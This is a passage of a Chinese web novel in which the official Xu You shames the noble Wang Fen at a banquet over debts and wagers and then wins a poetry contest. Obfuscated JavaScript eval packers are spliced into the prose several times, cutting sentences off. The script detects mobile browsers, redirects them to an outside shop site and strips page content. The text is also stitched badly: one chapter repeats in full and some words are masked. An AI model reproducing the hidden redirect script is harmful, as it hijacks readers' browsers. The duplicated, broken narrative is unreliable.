清河郡主正在心烦,如何才能将许攸除掉,两姐妹商量半天,都没找到合适人选。 这会看到王奋过来,清河郡主顿时有了想法。 “嘤嘤嘤。” 当着王奋的面,她直接抹起了眼泪。 王奋脑子瞬间炸开,满脑子都是空白。 他的未婚妻,当朝郡主,居然被人欺负了! “谁! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小公主眯起眼,嘴边汁水横流,满脸都是幸福和开心的笑容。 在她面前,都是吃了一半的各种水果,大部分都是咬了一口。 许攸倒是也不在意,拿起就吃。 看着他的动作,小公主脸颊微红,小手指局促不安的戳戳他。 “你这样,被人看到不好。” 许攸不在意,他现在饿的不行,放着这么多吃的不吃,那多浪费! 他可是从尸山血海中走出来,当初在青尧县,前几个月连草根都得吃,更别说这些被吃了一口的。 “无事,他们怕我怕的要死,谁敢过来?” “你还要吃什么,要不要我给你去拿?” 许攸拿出手帕,在小公主羞涩眼神中,将她嘴角的汁水给擦干。 小公主更加羞涩,情窦初开的她,也知道眼前这个男人,大概率会成为她姐夫,可内心深处的爱慕,却从未减少过。 亲情和爱情之间,她选择了矛盾,心里甜丝丝的同时,又觉得羞怯。 许攸戳戳她精致的脑壳。 “小丫头,不准胡思乱想,你还小。” 青尧县女子都要在十八以后才能婚配,这是许攸接受最低的底线。 这是他花了三年时间,一点点纠正的结果,放到大唐内,可没人会信他。 小公主将信将疑,懵懂的点点头。 “我想吃烧鸭。” “行,你等着,我给你去拿。” 许攸起身朝着不远处的桌子走去,桌上全都是美味的食物,不过都没人动。 宴会并非是每人一张桌子,而是和前世那些酒会差不多,一张摆放美食的长桌,四周散落着小方桌和座椅。 参加宴会的人,可以在方桌周围游走,也可以在长桌周围走动,只看各自喜好。 许攸的动作,被每个参加宴会的人看在眼底。 看到他出现在长桌旁边,围绕在长桌周围的人,都下意识躲避,生怕招惹了他这个煞星。 对此,许攸也不生气,人少更好,他可以捡好的吃。 拿着小公主想吃的烧鸭,他看了看旁边的烧鸡,还有其他的东西,手脚麻利的撕开两个鸡腿,外加不少肉食,这才往回走。 “哟,小子你好大的威风,在本公子面前,还敢如此嚣张。” “知不知道,本公子是谁?” 王奋在清河郡主引导下,终于找到了那个羞辱他心上人狂徒。 许攸脚步一顿,这声音有点耳熟。 他现在叼着一块比他头都大的囊,手里还有个盘子,里面全都是各种吃的。 将口中饼放下,许攸立刻笑了。 他这一笑,那些世家公子,立刻炸毛。 “呔,无耻小贼,居然敢轻薄郡主,今日我等就要让你知道,死字是怎么写的!” “果然是个没见识的贱皮子,就这些吃食,也吃的开心,怕是连什么是真正好吃的都不知道!” “哈哈,他可不是我等,估计连第一楼的海参鱼翅,还有那鲍鱼龙虾是什么都不知道。” “还真别说,那鲍鱼龙虾当真是贵的离谱,还有那什么海参,当真是好宝贝。” 众人完全把许攸当空气,一个个吹嘘起第一楼的美味。 许攸表情很精彩,第一楼这么多菜,可不是随随便便就有,而是从东海捕捞,用快船加冰块,一路疾行运送到长安。 即便是这样,损耗也不小,所以价格奇贵无比。 这第一楼不是其他人的产业,而是青尧县的产业,所得收入,百分之六十投入到了城市建设,剩余百分之四十,用来当做成本。 当着他这个第一楼大掌柜说这些,这不是搞笑吗? 许攸没说话,权当做不知道,反正他不说,没人知道第一楼幕后东家到底是谁。 “王兄,你怎么不说话?” 有人发现了,王奋见到许攸,除了开口那两句,就和哑巴了似的。 王奋现在很苦,早知道惹得人是许攸,他真就拉着清河郡主跑了。 这几日在家中,王亮就和他说了一件事。 宁惹阎王,莫惹许攸! 惹怒阎王,那还能知道自己**的。 可许攸就是个怪物,不但暴戾乖张,行事更是毫无章法,偏偏每次出手,都是站在律法和道义的上方。 谁招惹了许攸,就等于和死字写头上没什么区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在场可不知道许攸和王奋有过节,听到他这番话后,一个个露出不敢置信的目光。 王奋对许攸,内心一直存在忌惮,但见到他如此嚣张,内心的怒火,也彻底燃烧起来。 “许大人,这宴会是需要邀请才能进来,不知道你是从何而来。” “难不成你是故意为了一口吃的,偷偷混进来的?” 周围众人也露出了好奇的目光。 “这人是谁,居然得罪王公子。” “谁知道,不过敢惹王公子,这小子多半是死定了!” “好像前几日王公子在醉月花坊,和人争洛水姑娘时候,被人羞辱过,难不成这人就是那日在花坊中的人?” 众人你一言,我一语,居然把事情真相给说了出来。 许攸没什么表情,倒是王奋被众人拆穿,恼羞成怒,脸上表情变得狰狞。 眼看周围声音越来越大,王奋已经顾不得王亮的警告,眼底冷意流露,恨不得现在就弄死许攸。 “许大人,你怎么不说话,是不爱说话,还是个哑巴?” 许攸很无奈,别人是走哪死到哪,他是走哪就有狗。 “我说王公子,你狗叫什么玩意?” “你自己什么货色,难道自己不清楚,你有什么资格,在我面前装腔作势?” “嗯?手下败将?” 许攸秉持的是**打脸,招惹他,那就得做好被打脸的准备。 四周哑然,这话就仿佛一击重锤,狠狠砸在众人的心头。 众人起初都以为,许攸是狂了点,遇到王奋这样真正的贵公子,肯定要给三分面子。 谁知道许攸压根不给脸,上来就打脸。 “可惜啊可惜,虽然卢二少人不在了,但这宝贝可是稀释珍宝。” “王公子,物以稀为贵,这件事你不会不知道吧?” 说着话,许攸慢条斯理从兜里,掏出一张借条。 王奋的借条虽然被他当做礼物,还给了王亮,但卢云的还在他手里。 如今卢家已经死绝,上面鲜红的手印,以及赌约,都是格外刺眼。 “王公子,要不你代替你堂弟,把这份债也给还了?” “区区一点银子,对你而言,这不算多吧?” 王奋想弄死许攸,什么叫区区一点银子,这借条上可是利滚利,如今算起来,至少得五十万两白银。 这么多银子,就算他是刑部尚书之子,也不可能拿出这么多钱。 “你放屁!” 王奋气急败坏。 “你分明是卢云欠你的,我怎么会欠你钱,你完全就是信口开河,故意污蔑本公子!” “真不欠?” 许攸又意味深长的问了句,这话如同一根刺,狠狠扎向王奋心口。 王奋脸色涨红,欠条上白纸黑字,落款签名乃是卢氏二公子卢云。 可这巴掌,却结结实实落在他的脸上。 否认? 只要在场众人出去打探下,那就能知道当日的事情。 场中开始有人怀疑,王奋是否真的也欠下了钱。 “王兄,这到底怎么回事?难不成真被这厮给骗了,欠下了一笔巨债?” “你可是刑部尚书之子,谁人敢在长安城内欺你?” 刑部尚书之子,六个大字,就仿佛是盐巴,狠狠洒在王奋的心口。 以前他觉得自己身份挺厉害,再不济也是贵公子级别,现在他恨不得把说话的人嘴撕烂。 什么叫做谁人敢在长安城欺负他,他这不就是被人欺负了? 王奋内心五味杂陈,居然生出了委屈。 他堂堂刑部尚书之子,王家嫡系,居然被当人当众羞辱,还没办法反驳。 他的脸色也由红转青,再由青转紫,表情异常吩咐。 今日他的脸算是丢尽了。 “好!很好!” “许攸,今日本公子认栽,你说个数!” “这笔账,本公子今日就要了结!” 王奋以为许攸好歹也是个京兆府的府尹,也算是个官,脸面肯定要。 只见到许攸慢悠悠竖起一根手指,不急不慢的缓缓摇摆两下。 “不不不,王公子您可是贵人,贵人价格可不一样。” 如果能重来,王奋愿意给自己两巴掌。 没事装什么逼,现在好了,被许攸这狗皮膏药粘住,他想甩都甩不掉。 “一万两!” 王奋现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054335|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在觉得自己很无敌,他也豁出去了,不就是贱,那就比谁贱。 谁知他刚说完,许攸居然点头答应了这价码。 “那就请王公子给钱吧!” 王奋今天的算是丢人丢到家,现在别说面子,连里子都丢的一干二净。 这一切都是源自许攸! 上一次是在花坊,不是他主场,但今天这场宴会,可是清河郡主住处。 论他和清河郡主的关系,王奋不相信自己未过门的媳妇,会帮许攸。 “许攸,一万两银子,本公子出得起!” “但是今日你羞辱我,这笔账我们要好好酸酸!” 说完,王奋看向四周,表情阴沉无比! “当着诸位的面,以及几位郡主的面,你可敢和我比试一番?” 众人都很好奇,王奋是到底怎么招惹到的眼前青年,双方恩怨看似似乎不简单。 最近卢家的事情闹的满城风雨,但具体实情,外人并不知晓,只有少数几人知道其中内情。 谁也想不到,眼前这个其貌不扬的许攸,居然就是卢氏灭门的真凶。 许攸脸上没有半点紧张,反而出奇的淡定。 那淡然模样,和王奋的着急以及焦躁形成鲜明对比,这么一比下来,王奋愈发的像小丑。 “许攸,你敢不敢比!” 王奋自知自己丢尽脸面,现在也指向在清河郡主面前,找回点尊严。 “你要是个男人,那今日就和我比一场,否则别怪我看不起你!” 许攸淡漠的抬起头,眼底浮现出讥讽。 “王公子,比试不是不可以,但是得加钱!” 这话一出,王奋险些没吐血。 这狗东西,把他王氏当成了什么,难道一万两银子,他都拿不出来? “加多少?” 许攸嘴角勾起一抹弧度,淡淡的道。 “不多,五千两!” “总共一万五千两,你现在给我,我就答应你!” 这话无疑是在羞辱王奋。 王奋脸色涨红,区区一万五千两,不过是他玩乐的闲钱而已。 “好,本公子给……” 说着话,他伸手一掏衣袖,旋即脸色大变! 第一百五十三章 我确实怕了 “王公子,你不会没钱吧?” 许攸故意露出为难的表情。 “你要是没钱,那我这可不好点头。” “没想到你王氏的公子,出门连这点钱都没。” 王奋脸色无比难看,今日参加聚会,又是一年一次的天子设宴,主持的还是郡主。 谁会没事做,带着钱来参加宴会,这不是在羞辱天子,羞辱郡主吗? “你!” 他气得浑身颤抖,手指向许攸,却一句话都说不出来。 他是真没带钱! 许攸将王奋脸上的窘迫尽收眼底,脸上的讥讽也越来越明显。 “不会吧,不会吧?” “王公子,你可是刑部尚书之子,一万五千两白银你都没有,那我可真是有些瞧不上你。” “要不我给你?” 说罢,许攸伸手从衣袖内掏出一沓银票,轻描淡写拍在桌上。 “这年头出门不带个十万八万的,我都不好意思出门。” “没想到刑部尚书还是个清官,连这点钱都拿不出来。” 在场可不是所有人,都忌惮王奋的身份。 先前他们还觉得不可能,王奋好歹也是王亮之子,不看僧面看佛面,如今看到这局面,在场有不少人,已经猜到了什么。 “王兄,你真的欠了他一万两白银?” “以你的身份,区区一万两而已,这些小钱,你不过是抬手就能给,为何要拖到现在?” “就是,这也太丢人了,居然当着郡主的面,被人讨债!” “晦气,太晦气!” 王奋是哑巴吃黄连,有苦说不出。 他恨不得地上有一条缝,现在就能钻进去。 “王公子,你难道真的欠这个贼子钱财?” 清河郡主也露出疑惑的表情。 她是找王奋来找回面子,可不是丢人丢的更惨。 按照这情况发展,等下指不定要出什么纰漏,她现在都开始后悔了。 被旁人说,王奋还能咬牙坚持,可眼前的清河郡主,那可是他的心上人,两人即将成亲,若是这时候被看低,日后他可就有好日子受了。 就在这时候,有人突然出声。 “王兄,不过是一万多两,些许小钱,怎么能让你丢了脸面。” 王奋看向说话的人,脸色更加难看。 只见到一个貌似潘安,肤白唇红的俊朗公子,正从远处走来,在他身侧是绿瑶郡主。 看到此人后,不少人惊呼一声。 “原来是康公子!” “我听闻康公子和绿瑶郡主情投意合,似乎陛下也准许了这件事,今日只怕两人要促成好事!” 说白了,这场宴会,压根不是什么正式宴会,而是一场相亲宴。 起初许攸也没弄明白,在看到来人都是二十左右公子小姐,立刻明白宴会的性质。 此人一出现,场中气氛达到高潮。 王奋脸色铁青,看着康源朝自己走来,那脸色更加难看。 “康源你是来看我笑话的?” “不敢不敢,王公子的威严,在下可不敢无视。” 许攸瞥了眼,发现康源头顶居然有功德。 他也不是没见过有功德的人,但那些人头顶功德很少,很少能汇聚成金光。 按照陆判所说,金光就代表功德至少成一千,十万就能成像,就类似他背后有一尊金色虚影。 这些都是旁人看不到的存在。 功德的好处毋庸置疑,不但能抵御灾祸,还能让身体健康,功德越多,最后可以彻底修成正果。 许攸眯起眼,他是第一次看到有人能有上千功德,哪怕秦曦身上,也只有几百而已。 只见康源从衣兜内,掏出几张银票,有大有小,差不多有三千两。 “王公子,康某只有这些,你若是不嫌弃,尽管拿去。” “我相信其他人,也不会就此旁观,让人看了你的笑话!” 许攸总觉得哪里不对劲,这康源说话阴阳怪气,说不上是好人,但也说不上是坏人。 难不成对方和他一样,是个扮猪吃虎的? 看到康源真的拿出钱,还主动号召其他人帮自己,王奋脸上的不快消失。 “多谢!” “今日之恩,我王奋记在心中,他日必有重谢!” 说完,王奋再次看向许攸,手里多了一沓银票,神色也变得狰狞。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054336|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许攸,一万五千两,一分不少!” “现在你可满意了?” 他的眼神中充满愤怒和怨毒,恨不得将许攸给撕烂。 只是许攸并未看他一眼,而是淡淡的将银票给拿起,一站站仔细轻点。 这番模样,看的周围众人又气又怒。 可惜他们的生气,对许攸而言,是最下饭的好戏。 “债是两清了,比试也可以,但我现在没空,改日再说。” 什么? 全场哑然。 许攸先前说五千两,就答应比试,结果钱收了,反口却说不想比。 “你说什么?你不比?” 许攸很是淡定的扬起手里银票。 “王公子,你有没有搞错?” “我是答应你比试,可是我没答应你现在比试。” “这两件事有关联吗?” “你又没提前说,要现在就和我比试!” 说完,许攸真的起身就打算走,那样子半点都没给王奋留脸面。 王奋是彻底怒了,他感觉自己就是个小丑,活脱脱的小丑,被许攸给随意**。 “站住!” 眼看许攸即将离开,王奋一个健步蹿了出去,快步来到他面前,面色阴沉的挡住去路。 “你当真要走?” 王奋可以允许自己被嘲讽,但许攸一而再,再而三的让他丢人,如今更是直接戏耍,他彻底怒了。 来到许攸的面前,王奋瞪大双眼,努力想看出许攸眼底是否藏着害怕。 他看了两眼,却没看到任何想看到的表情,有的只有嘲讽。 怒火攻心之下,王奋也顾不得其他,一把抓住许攸的衣领,狰狞的咆哮。 “你怕了!” “上次你故意串通洛水,就是为了戏耍我!” “这一次你怕丢人,怕被郡主嗤笑,怕被天子知道你丑陋嘴脸,所以你不敢比!” “我说的对不对!” “你就是个阴险的小人,你以为你的那些把戏,本公子当真看不穿?本公子只不过想陪你玩玩,戏耍你而已!” 王奋说完,就看到许攸撇撇嘴,轻描淡写的伸手,将他手给拽开。 “我确实怕了!” 第一百五十四章 再次比试 “哈哈哈!” “许攸,你也有今日!” 王奋听到这话,忍不住仰起头大笑! 为了这个场面,王奋自己都不知道自己忍了多久,现在终于听到许攸说怕了! “我怕的不是比试,而是你没钱。” “区区一万两,你王公子都要和人借,要是再输了,等下刑部尚书砸锅卖铁,那不成了笑话?” 这话一出,全场脸色大变。 刚才王奋窘迫的模样,他们可都看在眼底。 要是继续赌,那么没钱的话,王奋又如何收场? 可随之而来的是,众人表情大变样! 狂,太狂了! 眼前的许攸不但狂,而且很贪婪! 任何人在这个时候,都不可能继续作死,偏偏许攸敢。 “你要赌多少?” 许攸眯起眼,淡定的将怀里银票全部取出。 “不多,十一万五千两,你要是愿意,咱们就赌,要是不愿意,那就恕我不奉陪。” “我可没心情,和个穷鬼比试。” 赤裸裸的打脸,银票被拍在桌上,上面官印鲜红刺眼,每一张都是五千两。 相反王奋等人凑得,有大有小,小的五百两,大的才三千两。 王奋嘴巴张张,发现嘴巴里面不但有些甜,还有铁锈的味道。 扑哧! 他只感觉眼前一黑,身体踉跄着就要倒下。 “我说王公子,咱们可不流行碰瓷这套,你要是输不起,那就直说,可别玩这种手段。” 王奋想死的心都有了。 十一万,要是在平时,那肯定不多,但一旦他回去拿,王亮必然要抽死他。 来之前王亮千叮咛万嘱咐,遇到许攸这煞神,千万不要招惹,能躲就躲,不能躲就当没看到。 以王奋的心机和手腕,在许攸面前,就和没穿裤子的三岁孩童差不多。 如今自己把自己逼到绝路,王奋心里的底气全部消失,而他后面的那些人,也都面面相觑。 包括先前的康源,此刻都脸色不好看。 “这位公子,得饶人处且饶人,王公子和你有怨不假,但是你若如此做,难保你今日能活着走出此地!” 康源语气森寒,那双桃花眼看向许攸,眼底充满威胁意味。 忽然,许攸眼前景象一变,刚才还满头功德的康源,浑身煞气萦绕,头顶全部都是赤红色的业力。 “奶奶的,我就说,怎么会有人功德这么离谱,合着是**伪装的。” 先前陆判说过,有人会利用自身的运势,伪造自己是好人。 毕竟许攸现在不是真仙,在没死之前,他这双眼睛,最多能看穿人的功德,这已经是不得了的存在。 发现康源不是好人,许攸也懒得应和。 “没钱就滚一边去,本老爷没心思陪小孩子过家家,连这点钱都没,让你家大人来!” “你!” 康源脸色大变,咬着牙狠狠的瞪了眼许攸,又阴恻恻的在王奋身边冷笑。 “王兄,和他赌!” “不过是几万了银子而已,上次是你运气不好,今日难道我们这么多人,还能输给他不成!” “钱的事情,你无需担心,我们再凑凑!” 此刻的王奋是彻底被架在火上,他想要退缩,但已经不可能。 “王公子,往年宴会,都有斗诗环节,既然你和这位公子有旧,那不如就拿这斗诗,当做比试内容如何?” “你和他双方各自写诗,只要一方无法接出,便算输!” 清河郡主也走出人群,语气依旧不好,那双杏眸看着许攸,似乎要把他给吃了。 有康源的财力,外加心上人的鼓舞,刚刚还心生退意的王奋,一咬牙,直接下定决心。 “我跟你赌!” 许攸皱起眉,王奋倒不是什么坏人,纯粹就是傻,简单的话来说,做事不过脑子,和王亮差的太远。 他本来不想逼太死,只是想羞辱两句,让王奋知难而退,是知道清河郡主亲自出面搅局,让场面局势再次不可控。 许攸看了眼王奋,言语淡漠。 “王公子,你爹知道你这样做,真不会气死吗?” 王奋一愣,想到自己父亲,刚升起的勇气,快速开始消散。 他是个纨绔不错,可不是个傻子,是非曲直他能分辨,只是现在骑虎难下,根本由不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054337|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 “许大人,你羞辱王公子,难道现在想一句话了事?” “今日之事,本宫会奏明陛下,你最好祈祷你能赢,否则你这官袍,少不得要脱掉!” 清河郡主阴恻恻的在旁边讥诮,说完这句后,又娇滴滴的拉住王奋的手,轻声安慰。 “王公子莫怕,我们这么多人,他不过是个小丑而已,今日输赢可由不得他!” 见此,王奋咬着牙,再次看向许攸。 “你等着,半个时辰之内,我必然会凑齐十一万五千两!” “好!” 事已至此,许攸还能说什么,有傻子送钱上门,他要是不收,怕是要被天打雷劈。 这次王奋凑钱的速度,明显不如之前,他身后站着的人,也从原来十几人,突然变成了上百人。 这些人都用好奇的目光看向许攸,一个个眼底充斥着疑惑和好奇。 王奋带着一堆金银首饰,还有一沓沓银票,再次来到许攸面前。 “许攸,这些金银亦价值不菲,今日暂且按照底价算!” “十一万五千两,你可做好了准备!” 许攸瞥了眼,余光看向角落,见到一道纤细身影,眼神也变得温和许多。 “我再问你一次,你真的要送钱给我?” “你若是输了,你这王家公子的名头,怕是彻底保不住!” 本来是好心的话语,但听在王奋的耳中,却格外刺耳。 “少废话,还是斗诗,你我双方各自出题,若是一方回答不出,那就是败!” “行,你出题吧!” 欺负个小孩子,许攸还没厚着脸,到那种不要脸的地步,至少现在是如此。 王奋先是一愣,随后大喜过望。 上次他怀疑题目被串通,若是这次他先出题,至少可以挽回一些脸面。 “你可别后悔!” 许攸无所谓的怂了怂肩膀。 “无所谓,你要是赢了,不但那些钱归你,我还把这桌子吃下去。” 而听到这话的小公主,则是捂着嘴不停窃笑。 众人浑然不知,在这这院子的隔壁,一行人正隔着屏风,将玩味目光落到王亮身上。 第一百五十四章 再次比试 “哈哈哈!” “许攸,你也有今日!” 王奋听到这话,忍不住仰起头大笑! 为了这个场面,王奋自己都不知道自己忍了多久,现在终于听到许攸说怕了! “我怕的不是比试,而是你没钱。” “区区一万两,你王公子都要和人借,要是再输了,等下刑部尚书砸锅卖铁,那不成了笑话?” 这话一出,全场脸色大变。 刚才王奋窘迫的模样,他们可都看在眼底。 要是继续赌,那么没钱的话,王奋又如何收场? 可随之而来的是,众人表情大变样! 狂,太狂了! 眼前的许攸不但狂,而且很贪婪! 任何人在这个时候,都不可能继续作死,偏偏许攸敢。 “你要赌多少?” 许攸眯起眼,淡定的将怀里银票全部取出。 “不多,十一万五千两,你要是愿意,咱们就赌,要是不愿意,那就恕我不奉陪。” “我可没心情,和个穷鬼比试。” 赤裸裸的打脸,银票被拍在桌上,上面官印鲜红刺眼,每一张都是五千两。 相反王奋等人凑得,有大有小,小的五百两,大的才三千两。 王奋嘴巴张张,发现嘴巴里面不但有些甜,还有铁锈的味道。 扑哧! 他只感觉眼前一黑,身体踉跄着就要倒下。 “我说王公子,咱们可不流行碰瓷这套,你要是输不起,那就直说,可别玩这种手段。” 王奋想死的心都有了。 十一万,要是在平时,那肯定不多,但一旦他回去拿,王亮必然要抽死他。 来之前王亮千叮咛万嘱咐,遇到许攸这煞神,千万不要招惹,能躲就躲,不能躲就当没看到。 以王奋的心机和手腕,在许攸面前,就和没穿裤子的三岁孩童差不多。 如今自己把自己逼到绝路,王奋心里的底气全部消失,而他后面的那些人,也都面面相觑。 包括先前的康源,此刻都脸色不好看。 “这位公子,得饶人处且饶人,王公子和你有怨不假,但是你若如此做,难保你今日能活着走出此地!” 康源语气森寒,那双桃花眼看向许攸,眼底充满威胁意味。 忽然,许攸眼前景象一变,刚才还满头功德的康源,浑身煞气萦绕,头顶全部都是赤红色的业力。 “奶奶的,我就说,怎么会有人功德这么离谱,合着是**伪装的。” 先前陆判说过,有人会利用自身的运势,伪造自己是好人。 毕竟许攸现在不是真仙,在没死之前,他这双眼睛,最多能看穿人的功德,这已经是不得了的存在。 发现康源不是好人,许攸也懒得应和。 “没钱就滚一边去,本老爷没心思陪小孩子过家家,连这点钱都没,让你家大人来!” “你!” 康源脸色大变,咬着牙狠狠的瞪了眼许攸,又阴恻恻的在王奋身边冷笑。 “王兄,和他赌!” “不过是几万了银子而已,上次是你运气不好,今日难道我们这么多人,还能输给他不成!” “钱的事情,你无需担心,我们再凑凑!” 此刻的王奋是彻底被架在火上,他想要退缩,但已经不可能。 “王公子,往年宴会,都有斗诗环节,既然你和这位公子有旧,那不如就拿这斗诗,当做比试内容如何?” “你和他双方各自写诗,只要一方无法接出,便算输!” 清河郡主也走出人群,语气依旧不好,那双杏眸看着许攸,似乎要把他给吃了。 有康源的财力,外加心上人的鼓舞,刚刚还心生退意的王奋,一咬牙,直接下定决心。 “我跟你赌!” 许攸皱起眉,王奋倒不是什么坏人,纯粹就是傻,简单的话来说,做事不过脑子,和王亮差的太远。 他本来不想逼太死,只是想羞辱两句,让王奋知难而退,是知道清河郡主亲自出面搅局,让场面局势再次不可控。 许攸看了眼王奋,言语淡漠。 “王公子,你爹知道你这样做,真不会气死吗?” 王奋一愣,想到自己父亲,刚升起的勇气,快速开始消散。 他是个纨绔不错,可不是个傻子,是非曲直他能分辨,只是现在骑虎难下,根本由不得 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许攸瞥了眼,余光看向角落,见到一道纤细身影,眼神也变得温和许多。 “我再问你一次,你真的要送钱给我?” “你若是输了,你这王家公子的名头,怕是彻底保不住!” 本来是好心的话语,但听在王奋的耳中,却格外刺耳。 “少废话,还是斗诗,你我双方各自出题,若是一方回答不出,那就是败!” “行,你出题吧!” 欺负个小孩子,许攸还没厚着脸,到那种不要脸的地步,至少现在是如此。 王奋先是一愣,随后大喜过望。 上次他怀疑题目被串通,若是这次他先出题,至少可以挽回一些脸面。 “你可别后悔!” 许攸无所谓的怂了怂肩膀。 “无所谓,你要是赢了,不但那些钱归你,我还把这桌子吃下去。” 而听到这话的小公主,则是捂着嘴不停窃笑。 众人浑然不知,在这这院子的隔壁,一行人正隔着屏风,将玩味目光落到王亮身上。 第一百五十五章 珠玉和萤火对比 王亮脸色格外难看,此行天子不打算声张,一行人隔着屏风,但他脸和火烧似的。 秦曦面露玩味,并未说什么,只是静静的端着酒杯喝酒。 巨大屏风将两个房间,隔绝成了两个世界,气氛截然不同。 此时的庭院内,听闻王奋要和许攸赌斗,还是以斗诗为内容,纷纷汇聚到此地。 巨大宴会厅被隔绝成两派,一派是许攸一人,另外则是成百的人群。 “许攸,我也不欺负你,今日乃冬至,我等就受邀前来,共享如此盛宴。” “然我等之间恩怨未了,又承蒙皇恩浩荡,今日就以此为题,以诗抒情,直抒胸臆!” “你可敢?” 这个题目看似简单,但最后一句才是重点,在场大都是文人雅士,亦或者贵族世家,身份高雅。 以诗抒情,无非就是表达内心的相思,苦闷或者离乡思念,而直抒胸臆就得简单明了。 说起别的事情,王奋可能不会,但无病**,没事写两句诗句,故作高雅这种小事,他还是随手就能作出。 而许攸只是个泥腿子出身,满口粗鄙话语,怕是连什么是情,都不会知道。 “你确定?” 许攸挑着眉,此大唐非彼大唐,没有李杜,没有诗圣,没有诗仙,有的只有一群沽名钓誉的大儒。 比试词这种小事,他是不屑的。 这副作态,在王奋的眼底,那就是怕了。 难得见到许攸害怕,王奋内心亢奋到了极点。 “来人,笔墨纸砚伺候!” 听闻这话,清河郡主缓缓走出,清冷的眸子斜瞥,杏口微微开合。 “今日斗诗,就以在场诸位作评委,每人手持一根签筹,若是觉得好,就将签筹放到对方身前筐中。” “两位可有意见?” 许攸自然是没有,王奋也没有,斗诗的规矩就是双方互相出题,一方答不出来,就直接输掉比试。 通常双方能约定斗诗,都是有些手段,所以斗诗也有回合制度,双方各自出题,题中双方诗句按照签筹数量论高低,先输掉三局者,也是直接输掉比试。 两条规矩让想钻空子的,都彻底没了希望。 斗诗不是儿戏,想要靠钻营,是不可能的。 王奋神色充满欣喜,只见到清河郡主说完,便缓步朝着他走来。 “王公子,不如让妾身帮你研墨如何?” “这……这岂敢闹翻郡主殿下,多谢殿下抬爱。” 王奋表情愈发激动,脑子内却是一片空白,鼻翼间的香气,让他逐渐忘记了自己的目的。 冷静,一定要冷静! 虽然此次斗诗,他可以请外援,但第一场还是他自己出题,这要是请外援,那便多少有些搞笑。 再次凝神静气后,这次他脑海内,闪现出无数辞藻。 然而,就在这时候,一道清脆的声音,打断了他的思绪。 “年年至日长为客,忽忽穷愁泥**! 江上形容吾独老,天边风俗自相亲。 杖藜雪后临丹壑,鸣玉朝来散紫宸。 心折此时无一寸,路迷何处见三唐?” 声音清脆悦耳,只是到最后,语气却变得低沉。 此刻场中的众人,满脸都是愕然。 自从题目公布,到笔墨纸砚上桌,这才不过十几息的时间,很多人到现在连位置都没找到,眼前许攸居然写完了。 王奋的脸色也变成惨白,额头豆大汗水滚落。 “年年至日长为客,忽忽穷愁泥**!” 不等他提笔,耳畔再次响起一道苍老声音,伴随这道声音,人影也从屏风后走出。 看到来人,在场众人除了许攸和小公主外,都露出了惊愕和震惊的表情。 李牧快步来到许攸面前,伸手拿过他桌上纸张,再次深吸了一口气。 “江上形容吾独老,天边风俗自相亲。” 又是一句,没有太多华丽辞藻,只是将愁绪和旅途的酸苦全部道出。 此时出现在众人眼前,就是一副背井离乡,为了志向和生计,不得不奔波游走,漂泊孤独的身影。 李牧的声音,也带上了颤音。 “心折此时无一寸,路迷何处见三唐。” 结句的心折和路迷,不但将这种悲凉孤寂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王奋脸色煞白,上一次他被打脸,也是如此的突然。 题目是他出的,诗,他也做了出来。 比不过就是比不过,他甚至生不出反抗的情绪,有的只有恐惧和害怕。 而此刻害怕的不仅是王奋,还有满头大汗的王亮! “陛下,臣有罪!” 王亮扑通一声跪倒,额头冷汗不断溢出。 第一百五十六章 和禅师比禅意 秦曦高坐在龙椅上,眼眶微微翻红。 “王亮,此诗写的如何?” 王亮没有说话,跪着趴在地上,身体不停颤抖。 此刻的他,恨不得冲出屏风,给王奋狗腿打断。 斗诗不要紧,可问题是找的人不对! 原本今日的宴会,应该是他王家大展风头,甚至能够夺取大唐第一世家名号的好机会。 